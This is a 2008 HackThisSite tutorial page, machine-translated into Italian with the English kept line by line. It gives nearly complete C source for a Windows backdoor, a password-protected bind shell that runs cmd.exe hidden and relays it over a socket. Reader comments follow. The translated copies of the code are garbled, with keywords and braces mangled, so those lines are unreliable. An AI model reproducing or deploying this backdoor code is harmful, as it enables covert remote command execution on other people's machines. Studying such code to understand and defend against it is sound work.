Hack questo sito!

[ Advertise With HackThisSite.org :: Hide These Ads ] [Pubblicità HackThisSite.org:: Nascondi questi annunci]

" If you don't know what your government is doing, you don't live in a democracy." "Se non si conosce ciò che il suo governo sta facendo, non è vivere in una democrazia". --Jane Anne Morris - Anne Jane Morris

HTS costs up to $300 a month to operate. HTS costi fino a $ 300 al mese per funzionare. We need your help! Abbiamo bisogno del vostro aiuto!

Donors also receive special recognition on our donors page. Anche i donatori ricevono un riconoscimento speciale sui nostri donatori pagina.

FR DE ES IT PT FR DE ES IT PT

Link to us! Link al nostro sito!

phoenix free shells fenice libera gusci
hackergames.net hackergames.net
PullThePlug PullThePlug

How To Write A Basic Backdoor In C Come scrivere una backdoor di base in C
Published by: white_scorpion , on 2008-02-09 02:09:33 Pubblicato da: white_scorpion, su 2008-02-09 02:09:33
How To Write A Basic Backdoor In C Come scrivere una backdoor di base in C Download program and sourcecode used in this tutorial here . Scarica il programma e il codice sorgente utilizzato in questo tutorial qui. What will we need: Che cosa abbiamo bisogno: - 2 sockets, one to listen to a specific port, and the other to establish the connection. - 2 prese, uno per ascoltare ad un porto specifico, e l'altro per stabilire la connessione. - at least one buffer to read and write data, but we will use 2 in this tutorial. - Almeno un buffer a leggere e scrivere dati, ma useremo 2 in questa esercitazione. - 4 handles to redirect the input / output for cmd.exe - 4 maniglie per reindirizzare l'input / output per cmd.exe These are the most important things, although we'll need some other variables / structures as well to make the program work. Queste sono le cose più importanti, anche se avremo bisogno di alcune altre variabili / strutture e per rendere il programma di lavoro. The program: Il programma: I will start with the main function, and i will describe the other functions after it. Vorrei iniziare con la funzione principale, e mi descrivono le altre funzioni dopo. Main function: Funzione principale: first we will check to see how much parameters the program has given since we want the program to be able to be used with a self-chosen port as well as a self-chosen password: prima si verifica per vedere quanto i parametri del programma è dato dal vogliamo che il programma per poter essere utilizzato con un auto-porto scelto, nonché una scelta auto-password: CODE : CODICE: `if(argc!=3) //check if we are having enough parameters` `if (argc! = 3) / / controllare se ci sono abbastanza parametri che hanno` `{` `(` `Usage(argv[0]); //if not, then display usage and exit program.` `Uso (ARGV [0]); / / se non, quindi visualizzare l'utilizzo del programma e di uscita.` `return EXIT_FAILURE;` `ritorno EXIT_FAILURE;` `}` `)` Next we will check if the portnumber given is really a number and if it is a portnumber usable for tcp/ip: Poi si verificherà se la porta è dato veramente un numero e se si tratta di una porta utilizzabile per TCP / IP: CODE : CODICE: `//check if the portnumber given is really a number` `/ / controllare se la porta è dato veramente un numero` `for(i=0;i<strlen(argv[1]);i++)` `for (i = 0; i <strlen (argv [1]); i + +)` `{` `(` `if(isdigit(argv[1][i])==0)` `if (isdigit (argv [1] [i]) == 0)` `{` `(` `printf("Invalid port number.");` `printf ( "numero di porta non valido.");` `return EXIT_FAILURE;` `ritorno EXIT_FAILURE;` `}` `)` `}` `)` `port=atoi(argv[1]); //make integer from ascii string` `port = atoi (argv [1]); / / numero intero da fare stringa ascii` `//final check to see if it is a real port number` `/ / controllo finale per vedere se si tratta di un vero e proprio numero di porta` `if(port>65535\|\|port<1)` `if (porta> 65535 \| \| porto <1)` `{` `(` `printf("Invalid port number.");` `printf ( "numero di porta non valido.");` `return EXIT_FAILURE;` `ritorno EXIT_FAILURE;` `}` `)` Make everything ready and start listening to the port given: Rende tutto pronto e iniziare l'ascolto della porta dato: CODE : CODICE: `//tell windows we want to use sockets` `/ / finestre dire che vogliamo utilizzare le prese` `WSAStartup(0x101,&wsadata); //we will use version 1.1 here` `WSAStartup (0x101, & wsadata); / / useremo la versione 1.1 qui` `//create socket` `/ / creare presa di corrente` `locsock=socket(AF_INET,SOCK_STREAM,0);` `locsock = socket (AF_INET, SOCK_STREAM, 0);` `//fill structure` `/ / riempire struttura` `sinloc.sin_family=AF_INET;` `sinloc.sin_family = AF_INET;` `sinloc.sin_addr.s_addr=INADDR_ANY;` `sinloc.sin_addr.s_addr = INADDR_ANY;` `sinloc.sin_port=htons(port);` `sinloc.sin_port = htons (porto);` `//bind the socket to the specified port` `/ / impegnare la presa di corrente alla porta specificata` `if(bind(locsock,(SOCKADDR)&sinloc,sizeof(SOCKADDR_IN))==SOCKET_ERROR)` `if (bind (locsock, ( SOCKADDR) & sinloc, sizeof (SOCKADDR_IN)) == SOCKET_ERROR)` `{` `(` `WSACleanup();` `WSACleanup ();` `printf("Error binding socket.");` `printf ( "Errore socket vincolanti.");` `return EXIT_FAILURE;` `ritorno EXIT_FAILURE;` `}` `)` `//listen on the specified socket` `/ / ascoltare il socket specificato` `if(listen(locsock,5)==SOCKET_ERROR)` `if (ascoltare (locsock, 5) == SOCKET_ERROR)` `{` `(` `WSACleanup();` `WSACleanup ();` `printf("Error listening socket.");` `printf ( "Errore socket di ascolto.");` `return EXIT_FAILURE;` `ritorno EXIT_FAILURE;` `}` `)` Here we will have the infinite loop to accept connections and check the password. Qui avremo la loop infinito, di accettare connessioni e verificare la password. If password given is correct then we will start the CommandPrompt() function, if not, then we will close connection and start listening again. Se la password è corretta dato poi avviare il CommandPrompt () la funzione, se così non fosse, allora ci sarà una stretta connessione e iniziare l'ascolto di nuovo. CODE : CODICE: `//infinite loop here to keep the program listening` `/ / loop infinito qui per mantenere il programma di ascolto` `while(1)` `while (1)` `{` `(` `remsock=SOCKET_ERROR;` `remsock = SOCKET_ERROR;` `while(remsock==SOCKET_ERROR)` `while (remsock == SOCKET_ERROR)` `{` `(` `//accept connection to our program` `/ / accettare la connessione al nostro programma` `remsock=accept(locsock,NULL,NULL);` `remsock = accettare (locsock, NULL, NULL);` `if(remsock==INVALID_SOCKET)` `if (remsock == INVALID_SOCKET)` `{` `(` `//cleanup and exit program` `/ / pulizia e di uscita del programma` `WSACleanup();` `WSACleanup ();` `printf("Error accepting socket.");` `printf ( "Errore socket accettare.");` `return EXIT_FAILURE;` `ritorno EXIT_FAILURE;` `}` `)` `}` `)` `//ask for password` `/ / per chiedere la password` `send(remsock,welcome,sizeof(welcome),0);` `inviare (remsock, benvenuto, sizeof (benvenuto), 0);` `recv(remsock,bufferin,sizeof(bufferin),0);` `recv (remsock, bufferin, sizeof (bufferin), 0);` `//check password given` `/ / controllare la password dato` `bufferin[strlen(bufferin)-1]=0; //we need this to strip off last character` `bufferin [strlen (bufferin) -1] = 0; / / abbiamo bisogno di questa striscia di fuori ultimo carattere` `if(strcmp(bufferin,argv[2])!=0)` `if (strcmp (bufferin, argv [2])! = 0)` `{` `(` `send(remsock,"nAccess Denied.n",17,0);` `inviare (remsock, "nAccess Denied.n", 17,0);` `}` `)` `else` `altro` `{` `(` `CommandPrompt(); //start the commandprompt function` `CommandPrompt (); / / commandprompt avviare la funzione` `}` `)` `closesocket(remsock); //close the socket` `closesocket (remsock); / / chiudere la presa di corrente` `}` `)` Usage function: Utilizzo funzione: This function displays the usage of the program and then exits the program: Questa funzione consente di visualizzare l'utilizzo del programma e poi uscite dal programma: CODE : CODICE: `void Usage(char AppName[]) //the function which does nothing more then print out the usage` `Utilizzo nullo (char AppName []) / / la funzione che non fa nulla di più quindi stampare l'uso` `{` `(` `printf("backdoor, written by White Scorpion Security (C) 2005n");` `printf ( "backdoor, scritto da bianco Scorpion di sicurezza (C) 2005n");` `printf(" ** http://www.white-scorpion.nl nn");` `printf ( "http://www.white-scorpion.nl ** nn");` `printf("Usage: %s < port > < password >n",AppName);` `printf ( "Uso:% s <porta> <password> n", AppName);` `}` `)` CommandPrompt function: CommandPrompt funzione: This function actually does most of the work, it starts the command prompt, redirect its output and send and receive the data to the socket / command prompt. Questa funzione non effettivamente la maggior parte del lavoro, inizia il prompt dei comandi, riorientare la sua produzione e per inviare e ricevere i dati alla presa di corrente / prompt dei comandi. first we define the variables used in this function, the 2 exits are used to intercept the command 'exit', since otherwise our program would hang if we don't. prima si definiscono le variabili utilizzate in questa funzione, il 2 uscite di sicurezza sono utilizzati per intercettare il comando 'uscita', in quanto altrimenti il nostro programma che poteva bloccarsi se non. CODE : CODICE: `secat.nLength=sizeof(SECURITY_ATTRIBUTES);` `secat.nLength = sizeof (SECURITY_ATTRIBUTES);` `secat.bInheritHandle=TRUE;` `secat.bInheritHandle = TRUE;` `DWORD bytesW; //number of bytes written gets stored here` `DWORD bytesW; / / numero di byte scritto ottiene memorizzati qui` `HANDLE newstdin,newstdout,readout,writein; //the handles for our Pipes` `MANICO newstdin, newstdout, lettura, writein; / / maniglie per il nostro Pipes` `char exit1[]={'e','x','i','t',10,0}; //we need this to compare our command to 'exit'` `char exit1 []={' E ',' x ',' i ',' t ', 10,0); / / abbiamo bisogno di questo per confrontare le nostre comando a' Exit '` `char exit2[]={'E','X','I','T',10,0}; //we need this to compare our command to 'EXIT'` `char exit2 []={' E ',' X ',' io ',' T ', 10,0); / / abbiamo bisogno di questo per confrontare le nostre comando a' Exit '` Then we create the pipes used to redirect cmd.exe 's input and output, get the startup info and fill its structure: Poi creiamo i tubi utilizzati per reindirizzare cmd.exe 's di ingresso e di uscita, l'avvio di ottenere informazioni e compilare la sua struttura: CODE : CODICE: `//create the pipes for our command prompt` `/ / creare i tubi per il nostro prompt dei comandi` `CreatePipe(&newstdin,&writein,&secat,0);` `CreatePipe (& newstdin, & writein, & secat, 0);` `CreatePipe(&readout,&newstdout,&secat,0);` `CreatePipe (& lettura, e newstdout, & secat, 0);` `GetStartupInfo(&startinfo);` `GetStartupInfo (& startinfo);` `//fill another structure` `/ / riempire un'altra struttura` `startinfo.dwFlags=STARTF_USESTDHANDLES \| STARTF_USESHOWWINDOW;` `startinfo.dwFlags = STARTF_USESTDHANDLES \| STARTF_USESHOWWINDOW;` `startinfo.wShowWindow=SW_HIDE;` `startinfo.wShowWindow = SW_HIDE;` `startinfo.hStdOutput=newstdout;` `startinfo.hStdOutput = newstdout;` `startinfo.hStdError=newstdout;` `startinfo.hStdError = newstdout;` `startinfo.hStdInput=newstdin;` `startinfo.hStdInput = newstdin;` Now we will start the process cmd.exe: Ora inizierà il processo cmd.exe: CODE : CODICE: `//start cmd prompt` `/ / cmd prompt di avvio` `CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,` `CreateProcess (NULL, "cmd.exe", null, null, VERO,` `CREATE_NEW_CONSOLE,NULL,NULL,&startinfo,&procinfo);` `CREATE_NEW_CONSOLE, NULL, NULL, & startinfo, & procinfo);` `//No error checks here, but you should do it to prevent unwanted behaviour.` `/ / Nessun errore qui controlli, ma si dovrebbe fare per prevenire comportamenti indesiderati.` Finally we have the endless loop which receives the output from cmd.exe and sends it to the socket, the data received from the socket is written to cmd.exe to execute the command given. Infine abbiamo il loop infinito che riceve l'output di cmd.exe e lo invia alla presa di corrente, i dati ricevuti dalla presa di corrente viene scritto cmd.exe di eseguire il comando dato. CODE : CODICE: `while(1)` `while (1)` `{` `(` `//check if cmd.exe is still running, if not then cleanup and start listening again.` `/ / cmd.exe verificare se è ancora in esecuzione, se non di pulitura e quindi avviare di nuovo ascolto.` `if(GetExitCodeProcess(procinfo.hProcess,&exitcode)==STILL_ACTIVE)` `if (GetExitCodeProcess (procinfo.hProcess, & exitcode) == STILL_ACTIVE)` `{` `(` `CloseHandle(procinfo.hThread);` `CloseHandle (procinfo.hThread);` `CloseHandle(procinfo.hProcess);` `CloseHandle (procinfo.hProcess);` `CloseHandle(newstdin);` `CloseHandle (newstdin);` `CloseHandle(writein);` `CloseHandle (writein);` `CloseHandle(readout);` `CloseHandle (lettura);` `CloseHandle(newstdout);` `CloseHandle (newstdout);` `break;` `break;` `}` `)` `bytesRead=0;` `bytesRead = 0;` `//sleep 0.5 seconds to give cmd.exe the chance to startup` `/ / dormire 0,5 secondi per dare cmd.exe la possibilità di avvio` `sleep(500);` `sleep (500);` `//check if the pipe already contains something we can write to output` `/ / controllare se il tubo contiene già qualcosa che si può scrivere di uscita` `PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);` `PeekNamedPipe (lettura, bufferout, sizeof (bufferout), e bytesRead, e avvalersi, NULL);` `if(bytesRead!=0)` `if (bytesRead! = 0)` `{` `(` `while(bytesRead!=0)` `while (bytesRead! = 0)` `{ //read data from cmd.exe and send to client, then clear the buffer` `(/ / Leggere i dati da cmd.exe e inviarlo al cliente, quindi chiaro il buffer` `ReadFile(readout,bufferout,sizeof(bufferout),&bytesRead,NULL);` `Readfile (lettura, bufferout, sizeof (bufferout), e bytesRead, NULL);` `send(remsock,bufferout,strlen(bufferout),0);` `inviare (remsock, bufferout, strlen (bufferout), 0);` `ZeroMemory(bufferout,sizeof(bufferout));` `ZeroMemory (bufferout, sizeof (bufferout));` `sleep(100);` `sleep (100);` `PeekNamedPipe(readout,bufferout,sizeof(bufferout),&bytesRead,&avail,NULL);` `PeekNamedPipe (lettura, bufferout, sizeof (bufferout), e bytesRead, e avvalersi, NULL);` `}` `)` `}` `)` `//clear bufferin` `/ / eliminiamo bufferin` `ZeroMemory(bufferin,sizeof(bufferin));` `ZeroMemory (bufferin, sizeof (bufferin));` `//receive the command given` `/ / ricevere il comando dato` `recv(remsock,bufferin,sizeof(bufferin),0);` `recv (remsock, bufferin, sizeof (bufferin), 0);` `//if command is 'exit' or 'EXIT' then we have to capture it to prevent our program` `/ / se il comando è 'Exit' o 'Exit', quindi dobbiamo cattura per evitare che il nostro programma` `//from hanging.` `/ / da appendere.` `if((strcmp(bufferin,exit1)==0)\|\|(strcmp(bufferin,exit2)==0))` `if ((strcmp (bufferin, exit1) == 0) \| \| (strcmp (bufferin, exit2) == 0))` `{` `(` `//let cmd.exe close by giving the command, then go to closeup label` `/ / lascia cmd.exe chiudere dando il comando, quindi andare al primo piano etichetta` `WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);` `WriteFile (writein, bufferin, strlen (bufferin), e bytesW, NULL);` `goto closeup;` `vai al primo piano;` `}` `)` `//else write the command to cmd.exe` `/ / else scrivere il comando per cmd.exe` `WriteFile(writein,bufferin,strlen(bufferin),&bytesW,NULL);` `WriteFile (writein, bufferin, strlen (bufferin), e bytesW, NULL);` `//clear the bufferin` `/ / eliminiamo il bufferin` `for(i=0;i<sizeof(bufferin);i++)` `for (i = 0; i <sizeof (bufferin); i + +)` `{` `(` `bufferin[i]=0;` `bufferin [i] = 0;` `}` `)` `}` `)` And we cleanup everything and return to main, which will then start listening again. E noi di pulitura tutto e tornare alla principale, che sarà quindi avviare di nuovo ascolto. CODE : CODICE: `//close up all handles` `/ / da vicino tutti i manici` `closeup:` `primo piano:` `CloseHandle(procinfo.hThread);` `CloseHandle (procinfo.hThread);` `CloseHandle(procinfo.hProcess);` `CloseHandle (procinfo.hProcess);` `CloseHandle(newstdin);` `CloseHandle (newstdin);` `CloseHandle(writein);` `CloseHandle (writein);` `CloseHandle(readout);` `CloseHandle (lettura);` `CloseHandle(newstdout);` `CloseHandle (newstdout);` This is all, 3 functions, and some code and you can write your own backdoor. Questo è tutto, 3 funzioni, e un po 'di codice e si può scrivere il proprio backdoor. the complete sourcecode and final program from this tutorial can be downloaded from here . il codice sorgente completo e definitivo del programma di questo tutorial può essere scaricato da qui.
Cast your vote on this article Cast il vostro voto su questo articolo Note: the order of the votes has been reversed. Nota: l'ordine delle votazioni è stato invertito.

Comments: Commento:
Published: 20 comments. Pubblicato: 20 commenti.

KSEboom - 07:47 am Saturday February 09th, 2008 KSEboom - 07:47 am Sabato 09e febbraio, 2008

Hmmmm, alot of detail has gone into this. Hmmmm, un sacco di dettaglio è andato in questo.
Nice work (Y) Nice work (Y)

Stevenmn - 02:07 pm Saturday February 09th, 2008 Stevenmn - 02:07 pm Sabato 09e febbraio, 2008

Very usefull Molto utile

bonzdead - 12:03 pm Wednesday February 13th, 2008 bonzdead - 12:03 pm Mercoledì 13 febbraio, 2008

Very nice! Molto bella! Put together very well. Metti insieme molto bene. And does excellent job explaining the code and why it is needed. E non ottimo lavoro per spiegare il codice e il motivo per cui è necessario. The examples were also very helpful. Gli esempi sono stati anche molto utile.

philop_kidrock - 12:35 am Thursday February 14th, 2008 philop_kidrock - 12:35 am Giovedi 14 febbraio 2008

how about metasploit can you provide me a tips about the commands used in it.. metasploit su come si può fornire suggerimenti su uno i comandi utilizzati in essa .. or do you had any idea about that software.... o hai avuto alcuna idea di che il software .... anybody who had the any idea please inform me.. chiunque ha avuto l'idea mi informi .. this is my e-mail add kid_learns_2_rock@yahoo.com questo è il mio e-mail aggiungere kid_learns_2_rock@yahoo.com

tulcod - 10:55 am Friday February 15th, 2008 tulcod - 10:55 am Venerdì 15 febbraio 2008

not really what it\'s title suggests, this article just explains how to interface with cmd.exe non quello che realmente \ 's titolo suggerisce, questo solo articolo spiega come interfaccia con cmd.exe
it\'s importable and not really innovative, it\'s been explained before and badly commented. essa \ 's importazione e non veramente innovativo, che \' s stato spiegato male prima e commentato.

white_scorpion - 01:42 am Thursday February 21st, 2008 white_scorpion - 01:42 am Giovedi 21 Febbraio 2008

Why should it be innovative? Perché dovrebbe essere innovativi? Back then when I was writing a backdoor this was the most difficult part to figure out, how to use the pipes. Torna poi quando ero iscritto una backdoor questa è stata la parte più difficile capire, come utilizzare i tubi.
Besides that, I\'ve never seen any backdoor code which is portable, meaning it\'s usable for several OS\'s like Windows and Linux, since the system calls on those OS\'s are different. Oltre a ciò, mi \ 'ho mai visto una backdoor codice che è portatile, il che significa che \' s utilizzabile per diversi OS \ 's come Windows e Linux, dal momento che le chiamate di sistema su tali OS \' s sono diversi. If you feel different then please write a text yourself about portable backdoors ;) Se ti senti diverso quindi si prega di scrivere un testo su te stesso portatile backdoor;)

hackuk_33 - 05:16 am Thursday February 21st, 2008 hackuk_33 - 05:16 am Giovedi 21 Febbraio 2008

good work !!! buon lavoro! 10/10 10.10

The_Computer_Wizard - 05:49 pm Thursday February 21st, 2008 The_Computer_Wizard - 05:49 pm Giovedi 21 Febbraio 2008

ok, im a little new to this kind of stuff, been breaking security on local machines for a while (i fix computers at work, and people dont always remember their passwords) but im just starting on stuff over a network ok, un po 'nel mese di nuovo a questo tipo di cose, è stata la rottura di sicurezza sulle macchine locali per un po' di tempo (i fissare computer sul luogo di lavoro, e le persone di cui mai dimenticare le proprie password), ma nel mese appena inizia il roba su una rete

i assume i need to use putty or telnet with this or something, but im confused, whenever i run this program on my computer no process starts for it or anything, i looked over the code (i have experience with c++ not so much c though, so i mostly understood it) and everything seems fine, but it doesnt seem to be implementing an infinate loop on my machine and idk why? Presumo ho bisogno di usare stucco o telnet con questo o qualcosa, ma nel mese di confuso, ogni volta che esegue questo programma sul mio computer non si avvia processo o per nulla, ho guardato oltre il codice (ho esperienza con il C + + non tanto se c , Così ho capito che la maggior parte) e tutto sembra bene, ma doesn't sembrano essere l'attuazione cappio uno infinate sulla mia macchina e IDK perché?
not to mention can someone post how i would connect? per non parlare qualcuno può postare come vorrei collegare? im assuming my ip into putty over a tcp/ip connection im assumendo il mio ip in stucco su una connessione TCP / IP

lastly where do i modify the code for a password? infine Dove posso modificare il codice per una password?

codz30 - 04:33 am Thursday March 06th, 2008 codz30 - 04:33 am Giovedi 06a marzo, 2008

this code is alot bigger than it needs to be. questo codice è molto più grande di quello che deve essere. Also, this is not a backdoor, its a remote shell. Inoltre, questa non è una backdoor, il suo una shell remota. You only need 1 port to listen, then you bind to that port and send() recv() from there. Devi solo 1 porta ad ascoltare, allora si legano a quella porta e inviare () recv () da lì.
You don\'t need 4 handles to get the command prompt. È don \ 't bisogno di 4 maniglie per ottenere il prompt dei comandi. Also there are ways to not use a buffer. Inoltre ci sono modi per non usare un buffer.

emoserv - 10:11 pm Friday March 28th, 2008 emoserv - 10:11 pm Venerdì 28 marzo 2008

A remote shell is a back door. Una shell remota è una porta di servizio. It triggers system commands from the outside. Si innesca comandi di sistema dall'esterno.

Stoney - 05:35 pm Wednesday April 30th, 2008 Stoney - 05:35 pm Mercoledì 30 aprile, 2008

The_Computer_Wizard; first off...learn C and you'll know about the password, and learn at least a BIT on exploits and shells. The_Computer_Wizard; prima al largo ... imparare C e potrai conoscere la password, e imparare almeno un po 'exploit e conchiglie.

The article is great! L'articolo è grande! It doesn't need all of the detail but it's never too much. Esso non ha bisogno di tutti i dettagli, ma è mai troppo. 10/10 10.10

VARUNmca123 - 04:56 am Monday May 12th, 2008 VARUNmca123 - 04:56 am Lunedi 12 Maggio 2008

rigt now i dont know much about yhis type of programming, but i can understand its importance rigt ora i dont conosce molto riguardo yhis tipo di programmazione, ma posso comprendere la sua importanza

GreyMageIvan - 11:03 pm Thursday June 19th, 2008 GreyMageIvan - 11:03 pm Giovedi 19 giugno 2008

Finally, someone explains how to link up a program to a socket or two. Infine, qualcuno spiega come collegare un programma per una presa di corrente o due. I give 8/10, Great content, but I needed to see the source file in the zip to get my code working, specifically with var datatypes. Do 8 / 10, Gran contenuto, ma avevo bisogno di vedere il file sorgente in zip per ottenere il mio codice di lavoro, in particolare di dati con var.

q8tawe - 10:18 am Monday July 21st, 2008 q8tawe - 10:18 am Lunedi 21 Luglio 2008

thanks for the nice article.^^ grazie per il bel articolo. ^ ^

vigo_in_disguise - 02:58 pm Monday July 21st, 2008 vigo_in_disguise - 02:58 pm Lunedi 21 Luglio 2008

nice work man... Nice work uomo ... would like to know about better codes... vorrei conoscere meglio i codici ...

vigo_in_disguise - 03:02 pm Monday July 21st, 2008 vigo_in_disguise - 03:02 pm Lunedi 21 Luglio 2008

nice work man... Nice work uomo ... would like to know about better codes... vorrei conoscere meglio i codici ...

Nach - 07:12 am Thursday July 24th, 2008 Dopo - 07:12 am Giovedi luglio 24, 2008

thnx for the tutorial man thnx il tutorial per l'uomo

mousse2012 - 04:32 pm Saturday August 30th, 2008 mousse2012 - 04:32 pm Sabato 30 agosto 2008

Good Job. Buon lavoro.

totalnoob314 - 07:22 pm Tuesday September 09th, 2008 totalnoob314 - 07:22 pm Martedì 09a settembre, 2008

does it really need to have all that stuff just to interface with the command prompt? è veramente necessità di disporre di tutte le cose che solo per l'interfaccia con il prompt dei comandi? can you use some windows-equivalent to the dup2() function or somethin so that it can take input directly from the socket? si può utilizzare alcune finestre equivalente al dup2 () la funzione o l'Somethin in modo che possa prendere in ingresso direttamente dalla presa di corrente? if someone could tell me, that would be cool thanx se qualcuno potrebbe dirmi, che sarebbe cool thanx

Brent-tc - 01:24 am Sunday September 28th, 2008 Brent-tc - 01:24 am Domenica settembre 28, 2008

ROFL.
You have really done a very good job of over-complicating this. Hai fatto davvero un ottimo lavoro di un eccesso di questa complicazione.

This site is the collective work of the HackThisSite staff. Questo sito è il contratto collettivo di lavoro del personale HackThisSite. Please don't reproduce in part or whole without permission. Si prega di non riprodurre in parte o in tutto senza permesso.
Page Generated: Mon, 01 Dec 2008 21:23:14 -0500 Exec: 10 Pagina Generata: lun, 01 dicembre 2008 21:23:14 -0500 Esec: 10
_{Page loaded in 0.17069 seconds!} _{Pagina caricata in 0,17069 secondi!}

Donate Donazioni

Challenges Sfide

Get Informed Get Informed

Get Involved Get Involved

Communicate Comunicare

About HTS A proposito di HTS

Translate Tradurre

Partners Partner